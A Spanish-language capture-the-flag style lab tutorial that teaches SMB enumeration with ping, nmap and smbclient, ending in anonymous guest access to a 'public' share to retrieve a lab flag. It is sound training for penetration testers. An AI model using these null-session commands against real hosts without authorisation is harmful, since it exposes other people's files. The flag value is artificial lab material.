Introducción
Bienvenido a este laboratorio práctico centrado en la enumeración y explotación de Server Message Block (SMB). SMB es un protocolo de compartición de archivos en red que permite a las aplicaciones de un ordenador leer y escribir en archivos, así como solicitar servicios de programas de servidor en una red informática. Debido a su amplio uso, es un objetivo común para los atacantes.
En este laboratorio, te pondrás en la piel de un pentester. Comenzarás con un reconocimiento básico de la red para confirmar que el objetivo está en línea. A continuación, utilizarás la potente herramienta de escaneo nmap para descubrir un servicio SMB abierto. Finalmente, usarás smbclient para investigar el servicio, encontrar una mala configuración que permita el acceso anónimo de invitados y recuperar un flag oculto de un recurso compartido público.
Al finalizar, comprenderás cómo:
- Verificar la conectividad de red usando
ping. - Escanear puertos y servicios SMB abiertos usando
nmap. - Enumerar y conectarse a recursos compartidos SMB usando
smbclient. - Explotar una mala configuración de acceso de invitados para recuperar archivos.
Empecemos.
Verificar Conectividad con el Objetivo mediante Ping
En este primer paso, realizarás una tarea de reconocimiento básica: verificar que la máquina objetivo está en línea y es accesible desde tu máquina atacante. El comando ping es una utilidad estándar para esto, enviando paquetes ICMP a un host para probar si hay una respuesta.
Tu entorno incluye un sistema objetivo con el alias target. Para confirmar la conectividad, ejecuta el siguiente comando en tu terminal para enviar cuatro paquetes:
ping -c 4 target
La bandera -c 4 indica a ping que envíe exactamente cuatro paquetes y luego se detenga. Un resultado exitoso se parecerá a la siguiente salida, mostrando respuestas del objetivo. La dirección IP y los valores de tiempo pueden variar.
PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms
--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms
Ver "4 received, 0% packet loss" confirma que tu máquina puede comunicarse con el objetivo, preparando el escenario para la siguiente fase de enumeración.
Escanear Puertos Abiertos con Nmap
En este paso, utilizarás nmap (Network Mapper) para escanear el objetivo en busca de puertos abiertos e identificar los servicios en ejecución. Este es un paso crítico para encontrar posibles vectores de ataque. Centraremos nuestro escaneo en el servicio SMB.
Ejecuta el siguiente comando nmap para realizar un escaneo de detección de versiones de servicio (-sV) y ejecutar un script (--script) para verificar los protocolos SMB en el target:
nmap -sV --script smb-protocols target
Después de unos momentos, nmap informará sus hallazgos. La salida se parecerá a esto:
Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 10:31 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00011s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Host script results:
| smb-protocols:
| dialects:
| 2.02
| 2.10
| 3.00
| 3.02
|_ 3.11
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds
La salida confirma que los puertos 139/tcp y 445/tcp están abiertos y ejecutando el servicio Samba. El puerto 445 es el puerto moderno para SMB. Este descubrimiento es nuestra señal para investigar el servicio SMB en busca de vulnerabilidades.
Conectar al Objetivo vía SMB
En este paso, utilizarás la utilidad smbclient para interactuar con el servicio SMB en el objetivo. Tu objetivo es ver si puedes conectarte sin contraseña, una técnica conocida como "sesión nula" (null session) o inicio de sesión anónimo.
Primero, listemos los recursos compartidos (shares) disponibles en el objetivo. La bandera -L lista los servicios y la bandera -N intenta conectarse sin contraseña.
Ejecuta el siguiente comando:
smbclient -L //target -N
Si el servidor está mal configurado para permitir acceso de invitado, verás una lista de los recursos compartidos disponibles. La salida debería parecerse a esto:
Sharename Type Comment
--------- ---- -------
public Disk
IPC$ IPC IPC Service (Samba Server)
SMB1 disabled -- no workgroup available
El hallazgo clave aquí es el recurso compartido public. El nombre sugiere que podría ser accesible para cualquiera. En el siguiente paso, te conectarás a este recurso compartido para explorar su contenido.
Explorar el Sistema Objetivo y Localizar la Bandera (Flag)
En este paso final, te conectarás al recurso compartido public que descubriste y buscarás la bandera (flag). Esto simula la fase de post-explotación, donde un atacante busca datos valiosos.
Conéctate directamente al recurso compartido public usando smbclient, nuevamente utilizando la bandera -N para acceso anónimo:
smbclient //target/public -N
Una conexión exitosa te dejará en un prompt de smbclient, que se ve como smb: \>. Ahora estás navegando por el recurso compartido de archivos remoto.
Try "help" to get a list of possible commands.
smb: \>
Usa el comando ls para listar el contenido del recurso compartido:
ls
Deberías ver el archivo flag.txt listado.
smb: \> ls
. D 0 Fri Sep 19 10:29:39 2025
.. D 0 Fri Sep 19 10:29:39 2025
flag.txt N 29 Fri Sep 19 10:29:39 2025
40901312 blocks of size 1024. 22067688 blocks available
Ahora, descarga el archivo a tu máquina local usando el comando get:
get flag.txt
Nota: La utilidad smbclient no tiene un comando cat incorporado para ver el contenido de los archivos directamente. Debes descargar el archivo primero usando get.
Una vez que la descarga se complete, escribe exit para salir de la sesión de smbclient. Finalmente, usa el comando cat en tu terminal local para mostrar el contenido de la bandera descargada.
cat flag.txt
La terminal mostrará el valor de la bandera.
labex{smb_gu3st_acc3ss_fl4g}
¡Felicitaciones! Has enumerado con éxito un servicio SMB, explotado una mala configuración de acceso de invitado y recuperado la bandera. Copia el valor de la bandera para completar el laboratorio.
Resumen
En este laboratorio, completaste con éxito un flujo de trabajo básico de prueba de penetración contra un servicio SMB mal configurado. Aprendiste y practicaste cómo:
- Usar
pingpara verificar la conectividad de red con un objetivo. - Emplear
nmappara escanear puertos abiertos e identificar el servicio SMB. - Usar
smbclient -Lpara enumerar recursos compartidos de red disponibles de forma anónima. - Conectarse a un recurso compartido SMB abierto con
smbclientutilizando una sesión nula (null session). - Navegar por un recurso compartido remoto y descargar archivos usando
lsyget.
Este ejercicio demuestra una vulnerabilidad común y crítica: permitir el acceso anónimo o de invitado a los recursos compartidos de red. Dichas malas configuraciones pueden llevar a la exposición de datos sensibles. Al comprender cómo encontrar y explotar estas debilidades, estarás mejor preparado para asegurar tus propios sistemas contra ellas.



